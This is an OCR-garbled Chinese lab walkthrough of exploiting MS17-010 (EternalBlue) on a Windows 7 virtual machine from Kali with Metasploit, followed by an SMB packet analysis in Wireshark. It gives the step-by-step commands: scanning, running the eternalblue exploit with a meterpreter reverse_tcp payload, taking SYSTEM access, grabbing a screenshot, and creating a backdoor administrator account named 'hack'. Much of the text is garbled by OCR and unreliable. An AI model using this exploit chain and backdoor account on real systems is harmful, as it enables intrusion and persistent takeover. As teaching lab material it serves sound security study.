SMB MS17-010 #lF] (CVE-2017-0144 7kK{52Z ¥ )
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SMB1, HKEY_LOCAL_ MACHINE/SYSTEM/CurrentControlSet/services/LanmanServer/Parameters, #i—
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# ifconfig
etho: flags=4163<UP,BROADCAST, RUNNING,MULTICAST= mtu 1500
inet netmask 255.255.255.0 broadcast 192.168.223.255
inet6 fe80::20c:29ff:fed5:bffd prefixlen 64 scopeid 8x20<link=>
ether 80:09c:29:d5:bf: fd txqueuelen 1000 (Ethernet)

RX packets 57 bytes 6138 (5.9 KiB)

RX errors © dropped @ overruns 8 frame ©

TX packets 37 bytes 3220 (3.1 KiB)

TX errors © dropped © overruns @ carrier @ collisions ©

device interrupt 19 base 0x2000 https:/blogiasdnmetiwxbBO00mm

7] PAE Flkali fIPHbE 2 192.168.223.137
3. % Bwindows 7HIPHiE R B BI3REL, &EFHwindows 7HIPHLbE: ipconfig

ER C:\Windows\system32\cmd.exe =&

£t Windows [f7R 6.1.76811 R -
A <c> 2889 Microsoft Corporation., {FE8PTHTLF] . X

C:“lsers \E IS >ipconfig

: localdomain

: feB@::9548:a316ed44e:11d9410
: 192.168.223.141

: 255.255.255.8

D 192 .16
r? 15158 1{‘]_;‘% isatap.localdomain:

BURT e . BB
| : localdomain %H

A LLE Wwindows 7 HjIPHihE4192.168.223.141

=. ERBPER.
Metasploit® B4 T ZIRIAF A A, WREHCREEH —T.

root@kali:~# apt update; apt install metasploit-framework

100 F & EVLREEM: Akali 2Ping windows 787381, SR#llZE#EM: ping 192.168.223.141

# ping 192.168. .141
.168.223.141 (192. .223.141) 56(84) bytes of data.
from 192.168.223. : icmp_seq=1 ttl=128 time=0.748 ms
from 192.168.223. : icmp seqg=2 ttl=128 time=0.606 ms

from 192.168.223. : icmp seq=3 ttl=128 time=0.366 ms
from 192.168.223. : icmp seqg=4 ttl=128 time=0.626 ms
from 192.168.223. : icmp seq=5 ttl=128 time=0.777 ms

from 192.168.223. : icmp_seq=6 ttl=128 kinemfofibodms

WLAE M & EVEE N R

2. & Fkali EVLEIEERTFFE: service postgresql status



# service postgresql status
postgresql.service - PostgreSQL RDBMS

Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor
Active: inactive (dead)

M EEA LB H: Active: inactive (dead) B e b it 2 S5 PR 5
3.#TFkali EWLKIEIEE: service postgresql start

4. FIREFkKal EVLHKIEIEE: service postgresql status

# service postgresql start
:~# service postgresql status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres
Active: active (exited) since Sat 2019-04-20 20:43:10 CST; 20s ago
Process: 2465 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2465 (code=exited, status=8/SUCCESS)

20:43:10 kali systemd[1l]: Starting PostgresSQL RDBMS...
3:43:10 kali systemd[1l]: Started PostgreSQL RDBMS. ht

H EETRT LB H: Active: active (exited) TiBHIE $IEE S LT FF
5.3:47msfdb $iE ERI G4, BB IEEMER: msfdb init

# msfTdb init
[+] Starting database
[+] Creating database user 'msf’
hmewAnOS:

MiwA— &

[+] Creating databases 'msf’

[+] Creating databases|'msf test’

[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml’
[+#] Creating initial database schema htt log.csdn.r ¢h0000mm

BRIt T AT KB 2 R, GKEZ BRI AR Zms17_010JkH, FRX—P 2 FRESHRE
kali B2 3-#kms17_010%siH, JF BA A ZRFE#TEE, FKBwindows 7 KIE H RALR)

6.)23hmsf: msfconsole



# msfconsole
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S HBIRS ESR ARKHE0 66

RAEBRZIEN T msf, WRIRIFH S ZFAEAR, NbiER, msfkEas —MREYLE R

7T EEHIEEERER: Emsfir &R T: do_status( FHEFImsfiy SR F R T 2L N T msf)

mstf > db status

[*] postgresql connected to msf

postgresql connected to msf 83 B4 i IhiZE#: 2 T msf

8.4 2 ms17_010:search ms17_010

msf > search msl7 ©1©

Matching Modules

Disclosure Date Rank Description

auxiliary/admin/smb/msl7 ©1® command
Romance/EternalSynergy/EternalChampion SMB Remote
auxiliary/scanner/smb/smb msl7 @1l1e
Detection

exploit/windows/smb/msl7 010 eternalblue 2017-

Blue SME Remote Windows Kernel Pool Corruption

exploit/windows/smb/msl7 010 psexec 2017-

Romance/EternalSynergy/EternalChampion SME Remote

normal MS17-810 Eternal
windows Command Execution
normal MS17-81® SMB RCE

03-14 average MS17-010 Eternal

03-14 normal MS17-01© Eternal
Windows Code Exehtipdfiltiog.csdnmetiwxh0000mm




NRIR: IR — R Asearch ms17_0108 - &H Hi ¥l EEBRI S E, A4 B ik% Asearch
ms17_010(A& N2 s 2% A T A H R E R E, Bl 22 LK) NR e R EH K LR 5,
L ] REREKali A RAE, BeBEms17_010%%IH, BT LB N 23 5 B i A fkali
9.4 Fms17_O10B AT IR A4, ALRFEAKE THMFKmS (b4t e LE1Tms17_010¥&FE A
HERRETREBRANRMABE T, A GEA] LT LR
msf > search msl1l7 016

Matching Modules

Disclosure Date Rank Description

Liary/admin/smb/msl1l7 ©10 command 2017-03-14 normal MS17-01© Eternal

Romance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

auxiliary/scanner/smb/smb msl1l7 010 normal MS17-810 SMB RCE
Detection

exploit/windows/smb/msl7 9010 eternalblue | 281 7<803-14 average MS17-0190 Eternal
Blue SMB Remote Windows Kernel Pool Corruptio

exploit/windows/smb/ms1l7 010 psexec 2017-63-14 normal MS17-010 E
Romance/EternalSynergy/EternalChampion SME Remote Windows Code Exétpe/indan.cadninatin

F#ifr4: use auxiliary/scanner/smb/smb_ms17_010

show options
Module optiens (auxiliary/scanner/smb/smb_msl7_010):
Name Current Setting Required Description

CHECK_ARCH =]
CHECK DOPU rue 0 Chrck ful DDUBLEPULQ X 0
CHECK_PIPE 0 Check for named pipe
NAMED_PIPE‘ ‘usr/share/metasploit-framework/data/wordlists/named pipes.txt s i

The

The

The

The

The

The

Kidn4 JsEAEA) : use exploittwindows/smb/ms17_010_eternalblue
10. e A 40 SRR S B i A A4 4, 3\ options Sk 3k 18- % Bl

ek, RREMAES: RHOSTSHMTHREADS, RHOSTSEEH#H M EN (ENE) , THREADSEZLZ
T, BRART, JRGE R LiE iR

M EBRENENEE VR (B THENIPHEER192.168.223.141, FHiikBEHI ENBAN
192.168.223.141/24) : setrhosts 192.168.223.141/24; 58 5 K BEAMLEN20; BEMmArunPITHI. 51k
E, fEkaliEm¥T Hwiresharkil TH g —1N%im, ¥AwiresharkBIa)) , WlrethO



VULNERABLE to MS517-810! - Windows 7 Ultimate 760

10000mm

Auxiliary

B EER LA N, B REEMs17_0105FEMENL, WET=—_EMEL

Wireshark - iR TCP #if (tcp.stream eq 2) - wireshark_ethO_201... © &
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W ERERTCPHL, 53 THENKERELE: BIERGRwWIndows 7, IPHiNER192.168.223.141, il ISMB2

123478 : use exploit/windows/smb/ms17_010_eternalblue

auxiliary( = L ex ﬁlllltf windows/smb/ms17 010 sternalblue

exploit(

WEXEH B (BEHL) : setrhost 192.168.223.141
wWEREHEA: set payload windows/x64/meterpreter/reverse_tcp
wWEMIrENL (kali) : setlhost 192.168.223.137

F| FH exploiti# 7B :  exploit

= use exploit/window <17 010 eternalblue
) > set rhost 19

set payload windows/x64/meterpreter/reverse_tcp

ar/reverse tcp
) > set lhost 192.168.22

yLoitll

Wi Z Ja T B



74 69 6d 61 Wi 7 Ultima
69 63 65 20 > 7 Service

h indicated by DCE/
ti 5 .

free hole adjacent to SMBv2 buffer.

49 +0800

0000mm

AUEBMAI (kal) IP (192.168.223.137) KM (4444) , WIFHEHL (192.168.223.141) KM
(49159) 2 |A G  T %

. FpEEXEH (FEETD

1.BrmBEENRLEER: sysinfo

meterpreter > sysinfo

Computer g

0S Windows 7 (Build 7601, Service Pack 1).
Architecture x64

System Language zh CN

Domain WORKGROUP

Logged On Users 2

Meterpreter x64 /windows

2EBEFERF S getuid

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

3R EN L AT R 1T E: screenshot

meterpreter : screenshot

Screenshot saved to: /root/kYqQGCZIK. jpeg

T B E A B -



kYqGCZIK.jpeg

4 3k 1Bshelliz#l & shell

meterpreter > shell
Process 2936 created.

Channel 1 created.
Microsoft Windows [@%5 6.1.76011
GEEGEEE (C)

C :\Windows\system32=

L BRE R C:\Windows\system32H % T, 8l B4 3KB T shell {13 HI4L
S5 TEITHEAN (RIEFMEERIKF)

net user hack 123456 /add /IfEwindows 7 L 8&—AhackBI ., LME TRV

C:\Windows\system32>net user hack 123456 /add
net user hack 123456 /add
& LELEGEE. B

C:\Windows\system32>net localgroup administrators hack /add
net localgroup administrators hack /add

htiHERHB e SEHMBRHNHIDIR R

net localgroup administrators hack /add  //#hackin A Zlwindows 74 RHF, PAMEIREE KRR
net user /1B F windows 743 FH F



C:\Windows\system32>net user
net user

C:\Windows\system32>=net localgroup administrators

net localgroup administrators
GGG administrators
vEE

https:/7ERSe

net localgroup administrators ~ //Z&Z&windows 74 Hh & 2 5

H BT AEHK, K#khackiinElwindows 7 #, X FER] LA {8 T R4k 4L 15 )

I S

1. B 74Kk i%—1SMB Negotiate Protocol Requesti& R #ER, 351t & B X B 1 B & SMB M UR A .
(EEIZERE, BPmSHBTFIIANEXERRE, MRELEHKE, SHEREERAE, RABK, 2tk
FRE)

Time Source Destination Protocol Length Info

16 4.135875 192.168.247.158 192.168.247.150 TCP 66 48255 - 445 [ACK] Seq=1 Ack=1 Win=29312 Le
4.135885 .168.247. .168.247. [TCP Dup ACK 16#1] 40255 - 445 [ACK] Seq=1
4.135920 .168.247. .168.247. [TCP Dup ACK 16#2] 48255 - 445 [ACK] Seq=1

4.135928 .168.247. .168.247. [TCP Dup ACK 16#3] 48255 - 445 [ACK] Seq=1
20 4.138747 192.168.247.158 192.168.247.15@ SMB 117 Negotiate Protocol Request

Frame 20: 117 bytes on wire (936 bits), 117 bytes captured (936 bits) on interface @
Ethernet II, Src: Vmware_ef:2e:81 (80:0c:29:ef:2e:81), Dst: Vmware_1@:01:3a (©@:@c:29:10:01:3a)
Internet Protocol Version 4, Src: 192.168.247.158, Dst: 192.168.247.150
Transmission Control Protocol, Src Port: 40255, Dst Port: 445, Seq: 1, Ack: 1, Len: 51
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header
v Negotiate Protocol Request (@x72)
Word Count (WCT): @
Byte Count (BCC): 12
v |Requested Dialects
v Dialect: NT LM @.12
Buffer Format: Dialect (2)
Name: NT LM ©.12

i (kali) AT 5 Y SMB LA

2. MRS AWEIERE BEMMIER, A BRI . QR ECA A A 8 PR A 3R [E]
OXFFFFH, ZHiE .



tep. port==443 a '] FiER---

Time Source Destination Protocol Length Info i
22 4.138925 192.168.247.150 192.168.247.158 TCP 78 445 - 40255 [ACK] Seq=1 Ack=52 Win=66560 Len=@ TSval=317543 TSecr=36343
23 4.138938 192.168.247 78 [TCP Dup ACK 22#1] 445 - 40255 [ACK] Seq=1 Ack=52 Win=6656@ Len=@ TSva
24 4.146241 192.168.247.150 192.168.247.158 SMB 275|Negotiate Protocol Response)

Ethernet II, Src: Vmware_10:01:3a (90:0c:29:10:01:3a), Dst: Vmware_ef:2e:81 (00:0c:29:ef:2e:81)
Internet Protocol Version 4, Src: 192.168.247.150, Dst: 192.168.247.158
Transmission Control Protocol, Src Port: 445, Dst Port: 40255, Seq: 1, Ack: 52, Len: 209
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header
v Negotiate Protocol Response (@x72)
Word Count (WCT): 17
Selected Index: @: unknown
Security Mode: @x@3, Mode, Password
Max Mpx Count: 5@
Max VCs: 1
Max Buffer Size: 4356
Max Raw Buffer: 65536
Session Key: @x00000000
Capabilities: @x8e@le3fc, Unicode, Large Files, NT SMBs, RPC Remote APIs, NT Status Codes, Level 2 Oplocks, Lock and Read, NT Find, Infolevel Pas
System Time: Mar 6, 2019 13:26:32.919866760 = EiriERT (A
Server Time Zone: -48@ min from UTC
Challenge Length: @
Byte Count (BCC): 136
Server GUID: ee2d@525-93d4-c344-aae5-18d5c0801598

3. WhilwhESE, B/ RS A AR AP BRI ERAE, XN SRR K% Session Setup AndXiF
SREIERLIUN B P i A 3E — % P 42 0 A B — A i B3 A 8 R 55 4% o

Time Source Destination Protocol Length Info

28 4.146535

29 4.146550
30 4.155657 192.168.247.158 192.168.247.150 SMB 202 Session Setup AndX Request, User: anonymous

NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header

v Session Setup AndX Request (©x73)
Word Count (WCT): 13
AndXCommand: No further commands (@xff)
Reserved: @@
AndXOffset: ©
Max Buffer: 4356
Max Mpx Count: 5@
VC Number: @
Session Key: Ox00000000
ANSI Password Length: 1
Unicode Password Length: ©
Reserved: 00000000
Capabilities: @xeeeeeed4, Unicode, NT SMBs, NT Status Codes, Level 2 Oplocks
Byte Count (BCC): 71
ANSI Password: 88
Account:
Primary Domain:
Native 0S:
Native LAN Manager:

4., FREE3EE K% — 1 Session Setup AndXM 253 R Sk fo i BRIE 4 A 2 .



tep. port==445 [X] - ] kR

Time Source Destination Protocol Length Info
. [TCP Retransmission] 48255 + 445 [PSH Seq=52 210 Win=38336 Len..
32 4.155806 g g e 445 > 49255 [ACK] Seq=210 Ack=188 Win=66304 Len=8 TSval=317544 TSecr=36

33 4.155818 .16 .168.247. [TCP Dup ACK 32#1] 445 - 48255 [ACK] Seq=210 Ack=188 Wi
34 4.155983 192.168.247.158 192.168.247.158 SMB 163 Session Setup AndX Response

Frame 34: 163 bytes on wire (1304 bits), 163 bytes captured (1304 bits) on interface 0
Ethernet II, Src: Vmware_10:01:3a (00:0c:29:1@:01:3a), Dst: Vmware_ef:2e:81 (00:0c:29:ef:2e:81)
Internet Protocol Version 4, Src: 192.168.247.15@, Dst: 192.168.247.158
Transmission Control Protocol, Src Port: 445, Dst Port: 4@255, Seq: 210, Ack: 188, Len: 97
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header
v Session Setup AndX Response (8x73)
Word Count (WCT): 3
AndXCommand: No further commands (@xff)
Reserved: €0
AndXOffset: 93
v Action: @xe0ee
“eee 44e+ <e.. ...® = Guest: Not logged in as GUEST
Byte Count (BCC): 52
Native 0S: Windows 7 Ultimate 76ee
Native LAN Manager: Windows 7 Ultimate 6.1
Primary Domain: ST13

5. BEPImMARS SRR TERANEZE, BE&KiE 1 Tree Connect AndXakTconX SMB##E#H 35 &
RELU i) 9 2% 5 IR B 42 R

| tep. port==445 a

Time Source Destination Protocol Length Info

35 4.155991 92.168. . . [TCP Fast Retransmission] Session Setup AndX Response
36 4.156075 192.168 40255 + 445 [ACK] Seq=188 Ack=307 Win=30336 Len=@ TSval=363
37 4.156084 192.168. . ( 36#1] 40255 > 445 [ACK] Seq=188 Ack=307 Win=39
38 4.162589 192.168.247.158 192.168.247.150 SMB 143 Tree Connect AndX Request, Path: \\192.168.247.15@\IPC$

Frame 38: 143 bytes on wire (1144 bits), 143 bytes captured (1144 bits) on interface @
Ethernet II, Src: Vmware_ef:2e:81 (©0:0c:29:ef:2e:81), Dst: Vmware_10:01:3a (©0:0c:29:10:01:3a)
Internet Protocol Version 4, Src: 192.168.247.158, Dst: 192.168.247.150@
Transmission Control Protocol, Src Port: 48255, Dst Port: 445, Seq: 188, Ack: 387, Len: 77
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header
v Tree Connect AndX Request (@x75)
Word Count (WCT): 4
AndXCommand: No further commands (@xff)
Reserved: @@
AndXOffset: @
v Flags: ©x0008, Extended Response
ii+ +uer +u.. ...0 = Disconnect TID: Do NOT disconnect TID
L - T Extended Signature: NOT Extended Signature
weve weee .... 1... = Extended Response: Extended Response
Password Length: 1
Byte Count (BCC): 30
Password: @@
Path: \\192.168.247.150\IPC$
Service: ?????

6. ZJEREB/EKIE—ATree Connect AndXM ZHHE R LR R IRERE R B2 EIEL.



tep. port==445

Time Source Destination Protocol Length Info
.162772 192.168.247.15@ 192.168.247.158 78 [TCP Dup ACK 4e#1] 445 -» 48255 [ACK] Seq
192.168.247.158 192.168.247.158

42 4.162909

1029 10 247 1L0 1079 100 2247 100 /]
Frame 42: 124 bytes on wire (992 bits), 124 bytes captured (992 bits) on interface ©
Ethernet II, Src: Vmware_10:01:3a (©8:0c¢:29:18:01:3a), Dst: Vmware_ef:2e:81 (00:0c:29:ef:2e:81)
Internet Protocol Version 4, Src: 192.168.247.150, Dst: 192.168.247.158
Transmission Control Protocol, Src Port: 445, Dst Port: 40255, Seq: 307, Ack: 265, Len: 58
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Header
v Tree Connect AndX Response (@x75)
Word Count (WCT): 7
AndXCommand: No further commands (@xff)
Reserved: @@
AndXOffset: 54
Opticnal Support: @xee0l, Search Bits, CSC Mask: Automatic file-to-file reintegration NOT permitted
¥ Maximal Share Access Rights
Access Mask: oxe@elfffff
v Guest Maximal Share Access Rights
Access Mask: @x@0l1fffff
Byte Count (BCC):
Service: IPC

Native File System:

7. BEEBIFER B #?F SMBZ%: F it it 66 #% i i open SMBIT JF—AN0 4, i@itread SMBIEEUSC 4, @idwrite
SMBEB A4, #itclose SMBEH .

Hit, FAKEZERALE -G ENMERT, IERE —BRARA R BREAFTms17_ 0108 %k
T, windows7 DA ERRAJUFERE B X ANRET -
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